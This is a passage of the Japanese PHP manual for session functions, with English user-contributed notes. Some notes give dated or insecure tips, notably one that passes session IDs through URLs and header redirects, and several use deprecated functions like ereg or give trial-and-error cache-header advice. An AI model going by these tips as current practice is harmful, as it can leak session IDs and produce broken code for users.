if(!ereg('^SESS[0-9a-z]+$',$_REQUEST['SESSION_NAME'])) {...
Edemilson Lima <pulstar at gmail dot com> 17-Apr-2007 06:17
Sessions and browser's tabs

May you have noticed when you open your website in two or more tabs in Firefox, Opera, IE 7.0 or use 'Control+N' in IE 6.0 to open a new window, it is using the same cookie or is passing the same session id, so the another tab is just a copy of the previous tab. What you do in one will affect the another and vice-versa. Even if you open Firefox again, it will use the same cookie of the previous session. But that is not what you need mostly of time, specially when you want to copy information from one place to another in your web application. This occurs because the default session name is "PHPSESSID" and all tabs will use it. There is a workaround and it rely only on changing the session's name.

Put these lines in the top of your main script (the script that call the subscripts) or on top of each script you have:

<?php
if(version_compare(phpversion(),'4.3.0')>=0) {
    if(!ereg('^SESS[0-9]+$',$_REQUEST['SESSION_NAME'])) {
        $_REQUEST['SESSION_NAME']='SESS'.uniqid('');
    }
    output_add_rewrite_var('SESSION_NAME',$_REQUEST['SESSION_NAME']);
    session_name($_REQUEST['SESSION_NAME']);
}
?>

How it works:

First we compare if the PHP version is at least 4.3.0 (the function output_add_rewrite_var() is not available before this release).

After we check if the SESSION_NAME element in $_REQUEST array is a valid string in the format "SESSIONxxxxx", where xxxxx is an unique id, generated by the script. If SESSION_NAME is not valid (ie. not set yet), we set a value to it.

uniqid('') will generate an unique id for a new session name. It don't need to be too strong like uniqid(rand(),TRUE), because all security rely in the session id, not in the session name. We only need here a different id for each session we open. Even getmypid() is enough to be used for this, but I don't know if this may post a treat to the web server. I don't think so.

output_add_rewrite_var() will add automatically a pair of 'SESSION_NAME=SESSxxxxx' to each link and web form in your website. But to work properly, you will need to add it manually to any header('location') and Javascript code you have, like this:

<?php
header('location: script.php?'.session_name().'='.session_id()
      . '&SESSION_NAME='.session_name());
?>
<input type="image" src="button.gif" onClick="javascript:open_popup('script.php?<?php
echo session_name(); ?>=<?php echo session_id(); ?>&SESSION_NAME=<?php echo session_name(); ?>')" />

The last function, session_name() will define the name of the actual session that the script will use.

So, every link, form, header() and Javascript code will forward the SESSION_NAME value to the next script and it will know which is the session it must use. If none is given, it will generate a new one (and so, create a new session to a new tab).

May you are asking why not use a cookie to pass the SESSION_NAME along with the session id instead. Well, the problem with cookie is that all tabs will share the same cookie to do it, and the sessions will mix anyway. Cookies will work partially if you set them in different paths and each cookie will be available in their own directories. But this will not make sessions in each tab completly separated from each other. Passing the session name through URL via GET and POST is the best way, I think.
pautzomat at web dot de 19-Nov-2003 12:05
Be aware of the fact that absolute URLs are NOT automatically rewritten to contain the SID.

Of course, it says so in the documentation ('Passing the Session Id') and of course it makes perfectly sense to have that restriction, but here's what happened to me:
I have been using sessions for quite a while without problems. When I used a global configuration file to be included in all my scripts, it contained a line like this:

$sHomeDirectory = 'http://my.server.com/one/of/my/projects'

which was used to make sure that all automatically generated links had the right prefix (just like $cfg['PmaAbsoluteUri'] works in phpMyAdmin). After introducing that variable, no link would pass the SID anymore, causing every script to return to the login page. It took me hours (!!) to recognize that this wasn't a bug in my code or some misconfiguration in php.ini and then still some more time to find out what it was. The above restriction had completely slipped from my mind (if it ever was there...)

Skipping the 'http:' did the job.

OK, it was my own mistake, of course, but it just shows you how easily one can sabotage his own work for hours... Just don't do it ;)
shanemayer42 at yahoo dot com 19-Aug-2000 07:11
Session Garbage Collection Observation:

It appears that session file garbage collection occurs AFTER the current session is loaded.

This means that:
even if session.gc_maxlifetime = 1 second,
if someone starts a session A and no one starts a session for an hour,  that person can reconnect to session A and all of their previous session values will be available (That is, session A will not be cleaned up even though it is older than gc_maxlifetime).


session 配列の変更を破棄してセッションを終了します

  • ≪ セッション関数
  • session_cache_expire ≫
  • PHP Manual
  • セッション関数
  • session 配列の変更を破棄してセッションを終了します

session_abort

(PHP 5 >= 5.6.0, PHP 7, PHP 8)

session_abort — session 配列の変更を破棄してセッションを終了します

説明

session_abort ( ) : bool

session_abort() は、データを保存せずにセッションを終了します。 したがって、セッション・データの元の値が保持されます。

返り値

成功した場合に true を、失敗した場合に false を返します。

変更履歴

バージョン | 説明
7.2.0 | この関数の返り値の型は bool になりました。 以前は void でした。

参考

  • $_SESSION
  • session.auto_start 構成ディレクティブ
  • session_start() - 新しいセッションを開始、あるいは既存のセッションを再開する
  • session_reset() - session 配列を元の値で再初期化します
  • session_commit() - session_write_close のエイリアス

User Contributed Notes

Gulshan Kumar 22-Feb-2019 05:12
<?php
session_start();
if(!isset($_SESSION['count'])){
    $_SESSION['count'] = 1;
}else{
    $_SESSION['count']++;
    session_abort();
}
echo $_SESSION['count'];
//$_SESSION['count'] will always be 1;
//This will always echo 1 not the above code.
?>
mhd dot nickz13 at gmail dot com 02-Sep-2018 07:37
session_abort()  closes the current session and discards the changes applied to Session array in the current page  , it doesn't delete the session file
let me explain with one example.
page 1.php :
<?php
session_start();
$_SESSION['city']="Sydney";
echo "<a href=\"2.php\"> page2</a>";
?>
when you open this page , a session file is created on the server (to find out where session files are saved run "echo session_save_path()" )  with the name of session_id  and the content of  the variable :

  sess_o22iabs75j93uhc7i4jf1lecjk  (file name)
  city|s:6:"Sydney";               (content)

if we go to 2.php containing this code :

<?php
session_start();
$_SESSION['country']="Australia";
echo session_encode();
session_abort();
session_start();
echo "<br>".session_encode();
?>

when session_abort is executed , the session is closed and the change which here is the 'country' element of Session array is discarded .

Output :
city|s:6:"Sydney";country|s:9:"Australia";
city|s:6:"Sydney";
zh dot hailei at gmail dot com 17-Oct-2017 07:28
demo1
<?php
session_start();
if(!isset($_SESSION['count'])){
    $_SESSION['count'] = 1;
}else{
    $_SESSION['count']++;
}
echo $_SESSION['count'];
//above, $_SESSION['count'] will keep increase;
?>

demo2
<?php
session_start();
if(!isset($_SESSION['count'])){
    $_SESSION['count'] = 1;
}else{
    $_SESSION['count']++;
}
session_abort();
echo $_SESSION['count'];
//$_SESSION['count'] will always be 1;
?>
parsa dot mhn at outlook dot com 03-Sep-2015 02:33
To better understand this function you should execute this code first :

<?php
    // First of all choose your path , For e.g. C:/session
    session_save_path('Your Path here !');

    session_start();

    // Define a Session Variable
    $_SESSION['Key'] = 'value' ;

    Var_dump(session_status() == PHP_SESSION_ACTIVE);

    // Output : bool(True) , it means you have an open session !
?>

Then you should execute this code :

<?php
    // Choose the path that you used it in first part
    session_save_path('Your path here');

    session_start();

    // If you want to close session and keep your original data in your path , you should use session_abort()
    session_abort();

    var_dump(session_status()== PHP_SESSION_ACTIVE);

    // Output : bool(False) , it means your session closed .
?>

So if you have an open session , session_abort() will simply close it without effecting the external session data , so you can reload your data again from your path that you chose .


現在のキャッシュの有効期限を取得/設定する

  • ≪ session_abort
  • session_cache_limiter ≫
  • PHP Manual
  • セッション関数
  • 現在のキャッシュの有効期限を取得/設定する

session_cache_expire

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

session_cache_expire — 現在のキャッシュの有効期限を取得/設定する

説明

session_cache_expire ( int|null $value = null ) : int|false

session_cache_expire() は現在の session.cache_expire の設定を返します。

リクエストがあった時点で、キャッシュの有効期限は session.cache_expire で設定されたデフォルト値にリセットされます。 そのため、すべてのリクエストにおいて (そしてsession_start() をコールする前に) session_cache_expire() をコールする必要があります。

パラメータ

value

value が指定され、null でない場合、 現在のキャッシュの有効期限は、 value で置換されます。

注意: session.cache_limiterが nocache 以外の値にセットされている場合にのみ valueが有効となります。

返り値

session.cache_expire の現在の設定を返します。 返り値は分単位で、デフォルトは 180 です。 値の変更に失敗した場合は、false を返します。

変更履歴

バージョン | 説明
8.0.0 | value は、nullable になりました。

例

例1 session_cache_expire() の例

<?php

/* set the cache limiter to 'private' */

session_cache_limiter('private');
$cache_limiter = session_cache_limiter();

/* set the cache expire to 30 minutes */
session_cache_expire(30);
$cache_expire = session_cache_expire();

/* start the session */

session_start();

echo "The cache limiter is now set to $cache_limiter<br />";
echo "The cached session pages expire after $cache_expire minutes";
?>

参考

  • session.cache_expire
  • session.cache_limiter
  • session_cache_limiter() - 現在のキャッシュリミッタを取得または設定する

User Contributed Notes

WooDzu 02-Sep-2013 07:50
Just to make things clear. If session.cache_limiter is set to private the following header will be sent in HTTP response:

Cache-Control    private, max-age=10800, pre-check=10800

Where 10800 is the amount of seconds - default value of 180 minutes set by session.cache_expire which you are enabled to change with session_cache_expire() on run-time
Anonymous 20-Feb-2008 08:50
The manual probably doesn't stress this enough:

** This has nothing to do with lifetime of a session **

Whatever you set this setting to, it won't change how long sessions live on your server.

This only changes HTTP cache expiration time (Expires: and Cache-Control: max-age headers), which advise browser for how long it can keep pages cached in user's cache without having to reload them from the server.
lance_rushing at hotmail dot com 17-Jun-2005 02:47
I've encountered the same problem of loosing focus when using IE and a javascript window.location.refresh/replace().

After fusing around I found that a <meta http-equiv="refresh" content="600"> works without move the focus on the parent frame's form.  The down side is loading up the browser history and an annoying 'click' in IE on the page load.


現在のキャッシュリミッタを取得または設定する

  • ≪ session_cache_expire
  • session_commit ≫
  • PHP Manual
  • セッション関数
  • 現在のキャッシュリミッタを取得または設定する

session_cache_limiter

(PHP 4 >= 4.0.3, PHP 5, PHP 7, PHP 8)

session_cache_limiter — 現在のキャッシュリミッタを取得または設定する

説明

session_cache_limiter ( string|null $value = null ) : string|false

session_cache_limiter() は、 現在のキャッシュリミッタの名前を返します。

キャッシュリミッタは、クライアントに送信されるキャッシュ制御用の HTTPヘッダを制御します。これらのヘッダは、ページの内容をクライアントやプロキシがキャッシュ する規則を定義します。例えば、キャッシュリミッタを nocacheに設定した場合、クライアント/プロキシのキャッ シュは無効になります。しかし、publicの場合は、 キャッシュを許可します。privateと設定すること も可能で、この場合、プロキシがキャッシュすることは許可しませんが クライアントがキャッシュすることは許可されます。

privateモードにおいて、Expireヘッダがクライア ントに送信されます。これは、Mozilla のようないくつかのブラウザを混乱させます。これを避けるには、 private_no_expireモードを使用してください。 このモードでは、Expireヘッダはクライアントに送信されません。

キャッシュリミッタを '' にすると、 キャッシュヘッダの自動送信を完全に無効化します。

キャッシュリミッタは、リクエスト開始時に session.cache_limiterに保存されたデフォルト値 にリセットされます。つまり、各リクエスト毎に(アウトプットバッファ が無効な場合は、session_start()がコールされる 前に) session_cache_limiter()をコールする必要 があります。

パラメータ

value

value が指定され、null でない場合、 現在のキャッシュリミッタは新しい値に変更されます。

取り得る値
値 送信されるヘッダ
public
Expires: (未来のいつか、session.cache_expires による)
Cache-Control: public, max-age=(未来のいつか、session.cache_expire による)
Last-Modified: (セッションが最後に保存されたときのタイムスタンプ)
private_no_expire
Cache-Control: private, max-age=(session.cache_expire ぶんだけ未来), pre-check=(session.cache_expire ぶんだけ未来)
Last-Modified: (セッションが最後に保存されたときのタイムスタンプ)
private
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: private, max-age=(session.cache_expire ぶんだけ未来), pre-check=(session.cache_expire ぶんだけ未来)
Last-Modified: (セッションが最後に保存されたときのタイムスタンプ)
nocache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache

返り値

現在のキャッシュリミッタの名前を返します。 値の変更に失敗した場合は、false を返します。

変更履歴

バージョン | 説明
8.0.0 | value は、nullable になりました。

例

例1 session_cache_limiter() の例

<?php

/* キャッシュリミッタを'private'に設定する */

session_cache_limiter('private');
$cache_limiter = session_cache_limiter();

echo "The cache limiter is now set to $cache_limiter<br />";
?>

参考

  • session.cache_limiter

User Contributed Notes

glenk7901 12-Feb-2016 05:39
I was having a fit trying fix an issue caused by session.cache_limiter.  Somehow I had set this to nocache (a long time ago) in the .ini file and this setting caused the back-button to not work.  When session.cache_limiter was set on private or public, the back-button worked, but then logging out of the site did not work.  I had thought that session.cache_limiter was something that should be enabled, but finally found today that turning it off (by setting it to '') fixed both these problems.  So now the question for me is, when would anybody ever want to use session.cache_limiter?  I was hating Php because of this problem.
kubavathimanshu76 at gmail dot com 06-Oct-2014 10:12
but i have problem in same browser i have login with diff users in same project but last logged user overwrite with all other user log in how to prevent this
ire dot ogunsina at gmail dot com 01-Oct-2008 07:55
I have had some trouble preventing IE, particular IE 7 to stop caching pages. I read quite a number of articles relating to people's experiences and how they fixed it but it was hard to find one that worked for me. Eventually I had to use the following fix:
<META HTTP-EQUIV="Pragma" CONTENT="no-cache">
<META HTTP-EQUIV="Expires" CONTENT="-1">

based on the information available on following url: http://support.microsoft.com/kb/234067

Would to God that we'd all quit IE for good. Hope this saves someone some agony over IE.
yves at kochira point com 08-Sep-2008 01:58
To avoid a headache while trying the various parameters in Firefox 3.0.1 (+Firebug), just restart the browser after a change... or they're not taken into account (from 'no-cache' to 'public'/'private').
scott at realorganized dot com 01-May-2008 11:03
http://us.php.net/session_cache_limiter

sends:

Pragma: no-cache

under some conditions from server to client.

Internet Explorer has a strange interpretation of: Pragma: No-cache
being sent from the server to the client.

Here's the link:

http://support.microsoft.com/kb/234067

If the client communicates with the server over a secure connection (https://) and the server returns a Pragma: no-cache header with the response, Internet Explorer does not cache the response.

Note, however, that the Pragma: no-cache header was not intended for this. According to the HTTP 1.0 and 1.1 specifications, this header is defined in the context of a request only, not a response, and is actually intended for proxy servers that may prevent certain important requests from reaching the destination Web server. For future applications, the Cache-Control header is the proper means for controlling caching.

For this reason, watch out when using the Pragma: no-cache with https and IE
clay at killersoft dot com 30-Mar-2008 05:44
The actual headers that are set using the values described above are:

public:
    Expires: pageload + 3 hours
    Cache-Control: public, max-age=10800

private:
    Expires: Thu, 19 Nov 1981 08:52:00 GMT
    Cache-Control: private, max-age=10800, pre-check=10800

nocache:
    Expires: Thu, 19 Nov 1981 08:52:00 GMT
    Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
    Pragma: no-cache

private_no_expire:
    Cache-Control: private, max-age=10800, pre-check=10800

Regarding other settings mentioned by some, those just don't do anything. Check the source of PHP, in ext/session/session.c -- the above values are all that actually do anything. Other values, or an emtpy string, result in no cache-limiting headers being set at all.
Fernando Gabrieli fgabrieli at gmail 07-Apr-2007 05:21
<?
    session_cache_limiter ('private, must-revalidate');

    $cache_limiter = session_cache_limiter();

    //

    session_cache_expire(60); // in minutes

    session_start() ;
?>

If i do not set must-revalidate, IE seems to cache session variables without refreshing them

If i post a form then it refreshes the variables

Firefox does not have this problem

So, be sure to use must-revalidate
Jeremiah at jkjonesco dot com 30-Oct-2006 03:20
If you are trying to work with dynamic binaries such as videos or images, the new IE 7 appears to require the ETag header.  You will need to make sure that you follow the specifications for how ETag works in order for your cache control to work properly.  Mozilla supports the ETag header as well, but does NOT require it for caching.  If you need to cache a dynamic image, video, or other binary file, then be sure to set your ETag and then check for the If-Not-Modified header on subsequent requests so that you can properly return the 304 Not Modified page.
john 28-Mar-2006 08:36
In addition to the  above, don't forget to check the php.ini file for the setting:   session.cache_limiter = nocache

Since I use xoops and didn't start the session, I had the SSL/download problem until I noticed this.
19-Oct-2005 08:11
The onLoad method of Actionscript's loadVars class was returning false in IE6 using SSL until I set --> session_cache_limiter("must-revalidate"); <-- on the receiving PHP script.
radu dot rendec at ines dot ro 18-Oct-2005 04:41
I've read the other comments and done some "reasearch" on my own. Using php's session mechanism and explicitly setting the "cache-control" header should not be mixed.

When session_start() is called, the "cache-control" and "pragma" headers are automatically set by php (to whatever value had been specified using session_cache_limiter()).

Explicitly setting those headers _before_ session_start() will have no effect, and explicitly setting them _after_ session_start() will overwrite the settings from session_cache_limiter().

If I had to deal with php sessions, I'd go for using session_cache_limiter() and leaving the headers alone.
02-Sep-2005 03:04
Andrei Chirila, andrei_chirila at yahoo dot com
12-Jan-2005 09:30
I played about an hour with the download and sessions. yes, to work you'll need session_cache_limiter("must-revalidate"); but this BEFORE session_start() if you want that your download start [IE problem]. Hope someone will need this someday

====

yes, somebody has needed this today :)

situation: trying to make a session based download management system complete with user login system that requries an authorized user to download some files, and hide all such files from non-authorized users. the user login, download center, and content management system of the site are all tied in to each other, making troubleshooting this headering stuff a headache.

problem: files being served are not accessible thru the regular site, since they are above the htdocs folder in apache, and so headering the file is required, and sessions do not work well with files being headered to the browser.

solution: the download center uses ob_start("");, then  session_cache_limiter("must-revalidate");, before the session_start();, then everything works well.

thank you very much! i was resorting to using a cookie to control this before because i could not figure out how to tie in sessions to the system before!
donovan at go4 dot com dot au 07-Aug-2005 06:41
IE6 'the file could not be written to the cache':

I tried all the other suggestions mentioned here but none of them worked.

I friend suggested header("Pragma: ");

This worked straight away!
snakes at ntica dot com 12-May-2005 02:28
Avoiding caching PHP pages:
After lot of tries and research this is the best combination of headers I've found that seems to work well even with the proxy of visitors that are using satellit connection.

<?
header("ETag: PUB" . time());
header("Last-Modified: " . gmdate("D, d M Y H:i:s", time()-10) . " GMT");
header("Expires: " . gmdate("D, d M Y H:i:s", time() + 5) . " GMT");
header("Pragma: no-cache");
header("Cache-Control: max-age=1, s-maxage=1, no-cache, must-revalidate");
session_cache_limiter("nocache");
?>
Andrei Chirila, andrei_chirila at yahoo dot com 12-Jan-2005 06:30
I played about an hour with the download and sessions. yes, to work you'll need session_cache_limiter("must-revalidate"); but this BEFORE session_start() if you want that your download start [IE problem]. Hope someone will need this someday ...
justin at justintubbs dot com 07-Jan-2005 12:04
I have PHP 4.3 running on a Windows 2003 Server running IIS 6.0 also using SSL encryption for my pages.  I could not (for the life of me) figure out how to get IE 6.0/WinXPPro to recognize a set of HTML tables as an Excel spreadsheet export, and it was due to the header() variables I was using.  Hopefully these are helpful to others who are attempting the same type of export within PHP.

*This example builds on the previously submitted one, adding a few necessary headers.

<?php
    header("Expires: Sat, 01 Jan 2000 00:00:00 GMT");
    header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT");
    header("Pragma: public");
    header("Expires: 0");
    header("Cache-Control: must-revalidate, post-check=0, pre-check=0");
    header("Cache-Control: public");
    header("Content-Description: File Transfer");

    session_cache_limiter("must-revalidate");
    header("Content-Type: application/vnd.ms-excel");
    header('Content-Disposition: attachment; filename="fileToExport.xls"');

    // and after you start the session
    session_start();
?>
pulstar at ig dot com dot br 24-Oct-2004 02:39
You can find more information about to control the cache in PHP at http://www.php.net/manual/en/function.header.php

If you have a dinamic website and want to allow your visitors to use the back button after they sent a form with the post method, the best combination I found was:

<?php

header("Expires: Sat, 01 Jan 2000 00:00:00 GMT");
header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT");
header("Cache-Control: post-check=0, pre-check=0",false);
session_cache_limiter("must-revalidate");

// and after you start the session
session_start();

?>

I try some combinations using header("Cache-Control: no-cache, must-revalidate"), but when clicking the back button, the last changes in the form back to their previous states. The combination above works fine with IE 6.x. I didn't test this with other browsers.

When I try something like session_cache_limiter("nocache, must-revalidate") it doesn't work. The page only updates when I used the browser's refresh button. In dynamic web sites this is not good. The content must be fresh after each click.

I didn't find these combinations like "private, must-revalidate" documented in the manual and I guess that something different from "none, nocache, private, public and private_no_expire" are resolved to "none" or something like that. One thing I notice is that in session_cache_limiter() it is "nocache", but in header() it is "no-cache". This may give us some clues about how session_cache_limiter() function works.

About caching, the perfect solution I think is to give the correct expiration date and time and also the right last-modified header for each element in the web site, when they are really updated. This means a lot of extra controls of course, but may worth in web sites with high overload.

The "public" option means that all available cache in proxies and clientes will be used, so this improves the speed of the web site and also reduces the used bandwidth. But without the right expiration and last-modified headers, you can use it only in static web sites.

The "private" option means that only the cache in clients will be used. This is good for a more sensitive data that can be stored locally in the browser cache. It have some benefits of the public option, but the same restrictions too.

The "nocache" (or no-cache?) option means that the HTML portion will not be cached, but the images, CSS and JS files will. This is good for dynamic websites because you still can use the power of cache without loose the refreshness after each click. These files can be updated when you open the web site or use the browser's refresh button.
I don't know why, but flash files are never updated when you click the refresh button. A common solution for this is to change the file name when you update the flash file.

The "no-store" option means that all the content will not be cached anyway, including images, CSS or JS files. I don't know if this applyes to flash files too, but is possible. This option must be used with very sensitive data. I think the SSL uses this by default.
misterp3d at hotmail dot com 18-May-2004 02:16
I had a problem using a FORM with POST method when user of my website was using the back button. The page requested a refresh to be able to see again the FORM.

To solve the problem I used :
<?php
session_cache_limiter('private, must-revalidate');
?>

*You need to write this line before any output

Hope that will help some of you ;)

[P]
usenet at phord splat com 25-Mar-2004 08:44
Hey!  NickyBoy was right!

I looked all over google and his note was the only place that had it right.  But, there's a caveat.

I wrote up my results here:
http://www.phord.com/experiment/cache/
richard at izyn dot co dot nz 01-Mar-2004 06:17
I found that session_cache_limiter("none") works for me when I create PDFs  on the fly because session_cache_limiter("private") causes the browser(IE6) to cache the PDF indefinitely.
22-Jan-2004 09:10
I had a similair problem (browsers couldn't save files coming from my download-script). Only in my case the problem occured with IE 6.0 and Netscape 7.1. Adding the "session_cache_limiter('public');" before "session_start();" helped.
jthome at fcgov dot com 03-Dec-2003 04:36
In addition to the note above regarding SSL/IE bug/Sessions, also make sure you DO NOT SET THE HEADER 'Pragma: no-cache' if you are sending an inline document (e.g., PDF document).

For example:

<?php

        header("Content-Type: application/pdf");
        header("Content-Disposition: inline; filename=foo.pdf");
        header("Accept-Ranges: bytes");
        header("Content-Length: $len");
        header("Expires: 0");
        header("Cache-Control: private");
//        header("Pragma: no-cache");//don't send this header!!

?>

Best,

--
Jim
plyrvt at mail dot ru (Yura Pylypenko) 31-Jul-2003 02:33
Be careful using session_cache_limiter() with ob_start('ob_gzhandler')
If ob_start('ob_gzhandler') is called after session_cache_limiter() it seems to overwrite cache control headers with 'nocache' equivalent.
So always put ob_start first.
MerlinsInvite 23-May-2003 09:51
I solved the problem with pushing downloads to browser's, without needing to play with server/session parameters by using :
header("Content-Disposition: inline; filename=\"$filename\"");
for IE browsers and
header("Content-Disposition: attachment; filename=\"$filename\"");
for all other browsers.
nickyboy at 4ce.co.uk 10-Mar-2003 05:42
The problems people mention about IE are actually a feature!
Microsoft Knowledge Base Article 316431 says:

In order for Internet Explorer to open documents in Office (or any out-of-process, ActiveX document server), Internet Explorer must save the file to the local cache directory and ask the associated application to load the file by using IPersistFile::Load. If the file is not stored to disk, this operation fails.

When Internet Explorer communicates with a secure Web site through SSL, Internet Explorer enforces any no-cache request. If the header or headers are present, Internet Explorer does not cache the file. Consequently, Office cannot open the file.

They say this applies to:
Microsoft Internet Explorer 5.5 for Windows 2000
Microsoft Internet Explorer 5.01 for Windows 2000
Microsoft Internet Explorer version 6 for Windows 2000
not sure about other versions!

hth
nickyboy


session_write_close のエイリアス

  • ≪ session_cache_limiter
  • session_create_id ≫
  • PHP Manual
  • セッション関数
  • session_write_close のエイリアス

session_commit

(PHP 4 >= 4.4.0, PHP 5, PHP 7, PHP 8)

session_commit — session_write_close() のエイリアス

説明

この関数は次の関数のエイリアスです。 session_write_close().

User Contributed Notes

There are no user contributed notes for this page.


新しいセッションIDを作成する

  • ≪ session_commit
  • session_decode ≫
  • PHP Manual
  • セッション関数
  • 新しいセッションIDを作成する

session_create_id

(PHP 7 >= 7.1.0, PHP 8)

session_create_id — 新しいセッションIDを作成する

説明

session_create_id ( string $prefix = "" ) : string|false

session_create_id() 関数は、 現在のセッションのための新しいセッションIDを作成するのに使われます。 この関数は、衝突しないセッションIDを返します。

セッションがアクティブでなければ、衝突しているかどうかのチェックは省略されます。

php.ini の設定に従って、セッションIDは作成されます。

重要なのは、あなたの Webサーバが使っているものと同じユーザIDを、 GC タスクのスクリプトで使うことが重要です。 そうしないと、特にファイルの保存ハンドラでパーミッションの問題が起こるかもしれません。

パラメータ

prefix

prefix が指定されると、 新しいセッションIDの前に、 prefix が付きます。 セッションIDに全ての文字が許されているわけではありません。 a-z A-Z 0-9 , (コンマ) そして - (マイナス) が許可されています。

返り値

session_create_id() 関数は、 現在のセッションのための、衝突しない新しいセッションIDを返します。 セッションがアクティブでない時に使われると、 衝突しているかどうかのチェックは省略されます。 失敗した場合は、false を返します。

例

例1 session_regenerate_id() と一緒に、session_create_id() を使う例

<?php
// タイムスタンプによる管理をサポートした
// 自前のセッション開始関数
function my_session_start() {
    session_start();
    // 古過ぎるセッションIDを使うことを許してはいけない
    if (!empty($_SESSION['deleted_time']) && $_SESSION['deleted_time'] < time() - 180) {
        session_destroy();
        session_start();
    }
}

// 自前のセッションID再生成関数
function my_session_regenerate_id() {
    // セッションがアクティブな間は、
    // 衝突しないことを確実にするため
    // session_create_id() を呼び出す
    if (session_status() != PHP_SESSION_ACTIVE) {
        session_start();
    }
    // 警告: 秘密の文字列を prefix に使ってはいけない!
    $newid = session_create_id('myprefix-');

    // 削除時のタイムスタンプを設定
    // セッションデータは、それなりの理由があるので、すぐに削除してはいけない
    $_SESSION['deleted_time'] = time();
    // セッションを終了する
    session_commit();
    // ユーザー定義のセッションIDを確実に受け入れるようにする
    // 注意: 通常の操作のためには、use_strict_mode は有効でなければならない
    ini_set('session.use_strict_mode', 0);
    // 新しいカスタムのセッションIDを設定
    session_id($newid);
    // カスタムのセッションIDでセッションを開始
    session_start();
}

// use_strict_mode を確実に有効にする
// use_strict_mode は、セキュリティ上の都合で強制する
ini_set('session.use_strict_mode', 1);
my_session_start();

// セッションID は以下の場合に再生成しなければならない
//  - ユーザーのログイン時
//  - ユーザーがログアウト時
//  - 一定時間経過時
my_session_regenerate_id();

// Write useful codes
?>

参考

  • session_regenerate_id() - 現在のセッションIDを新しく生成したものと置き換える
  • session_start() - 新しいセッションを開始、あるいは既存のセッションを再開する
  • session.use_strict_mode
  • SessionHandler::create_sid() - 新規セッション ID を返す

User Contributed Notes

haidz 13-Jun-2018 06:57
I needed to use session_create_id for the $prefix.
I used the 'create_sid' handler in session_set_save_handler and it done all the magic for me.
I could continue to use session_regenerate_id();

    function sessionCreateHandler()
    {
        $prefix = 'bla';
        return session_create_id($prefix);
    }
rowan dot collins at gmail dot com 29-Nov-2017 03:43
This function is very hard to replicate precisely in userland code, because if a session is already started, it will attempt to detect collisions using the new "validate_sid" session handler callback, which did not exist in earlier PHP versions.

If the handler you are using implements the "create_sid" callback, collisions may be detected there. This is called when you use session_regenerate_id(), so you could use that to create a new session, note its ID, then switch back to the old session ID. If no session is started, or the current handler doesn't implement "create_sid" and "validate_sid", neither this function nor session_regenerate_id() will guarantee collision resistance anyway.

If you have a suitable definition of random_bytes (a library is available to provide this for versions right back to PHP 5.3), you can use the following to generate a session ID in the same format PHP 7.1 would use. $bits_per_character should be 4, 5, or 6, corresponding to the values of the session.hash_bits_per_character / session.sid_bits_per_character ini setting. You will then need to detect collisions manually, e.g. by opening the session and confirming that $_SESSION is empty.

<?php
function session_create_random_id($desired_output_length, $bits_per_character)
{
    $bytes_needed = ceil($desired_output_length * $bits_per_character / 8);
    $random_input_bytes = random_bytes($bytes_needed);

    // The below is translated from function bin_to_readable in the PHP source (ext/session/session.c)
    static $hexconvtab = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ,-';

    $out = '';

    $p = 0;
    $q = strlen($random_input_bytes);
    $w = 0;
    $have = 0;

    $mask = (1 << $bits_per_character) - 1;

    $chars_remaining = $desired_output_length;
    while ($chars_remaining--) {
        if ($have < $bits_per_character) {
            if ($p < $q) {
                $byte = ord( $random_input_bytes[$p++] );
                $w |= ($byte << $have);
                $have += 8;
            } else {
                // Should never happen. Input must be large enough.
                break;
            }
        }

        // consume $bits_per_character bits
        $out .= $hexconvtab[$w & $mask];
        $w >>= $bits_per_character;
        $have -= $bits_per_character;
    }

    return $out;
}
?>


セッションエンコードされた文字列からセッションデータをデコードする

  • ≪ session_create_id
  • session_destroy ≫
  • PHP Manual
  • セッション関数
  • セッションエンコードされた文字列からセッションデータをデコードする

session_decode

(PHP 4, PHP 5, PHP 7, PHP 8)

session_decode — セッションエンコードされた文字列からセッションデータをデコードする

説明

session_decode ( string $data ) : bool

session_decode() は、 $data のセッションデータをデコードし、 スーパーグローバル $_SESSION にその結果を格納します。

デフォルトのアンシリアライズの方法は PHP が内部的に実装しているものであり、 unserialize() とは違います。 シリアライズの方法は、session.serialize_handler で設定できます。

パラメータ

data

エンコードされたデータ。

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • session_encode() - 現在のセッションデータを、セッションエンコードされた文字列に変換する
  • session.serialize_handler

User Contributed Notes

frank at interactinet dot com 24-Oct-2013 03:58
I found this to be the simplest solution:

<?php
// if session is not started
session_start();

// store our current session
$my_sess = $_SESSION;

// decode $data (the encoded session data, either from a file or database). Remember, decoded data is put directly into $_SESSION
session_decode($data);
$data = $_SESSION;

print_r($data);

// restore our own session
$_SESSION = $my_sess;

?>
Frits dot vanCampen at moxio dot com 23-Mar-2012 05:24
I noticed that the posted solutions for manually decoding sessions are not perfect, so I've contributed a more robust solution.

The preg_match solution can never work. It's not so hard to find a case that might break unserialization.
In the case of jason-joeymail is breaks on:

<?php
$_SESSION["test"] = ";oops|";
?>

Below you can find my solution. It doesn't use a regular expression but rather the reversibility of the serialize operation and the 'feature' that serialize ignores all further input when it thinks it's done. It's by no means a beautiful or particularly fast solution but it is a more robust solution.
I've added a deserializer for "php" and "php_binary". It should be trivial to add one for "wddx".

<?php
class Session {
    public static function unserialize($session_data) {
        $method = ini_get("session.serialize_handler");
        switch ($method) {
            case "php":
                return self::unserialize_php($session_data);
                break;
            case "php_binary":
                return self::unserialize_phpbinary($session_data);
                break;
            default:
                throw new Exception("Unsupported session.serialize_handler: " . $method . ". Supported: php, php_binary");
        }
    }

    private static function unserialize_php($session_data) {
        $return_data = array();
        $offset = 0;
        while ($offset < strlen($session_data)) {
            if (!strstr(substr($session_data, $offset), "|")) {
                throw new Exception("invalid data, remaining: " . substr($session_data, $offset));
            }
            $pos = strpos($session_data, "|", $offset);
            $num = $pos - $offset;
            $varname = substr($session_data, $offset, $num);
            $offset += $num + 1;
            $data = unserialize(substr($session_data, $offset));
            $return_data[$varname] = $data;
            $offset += strlen(serialize($data));
        }
        return $return_data;
    }

    private static function unserialize_phpbinary($session_data) {
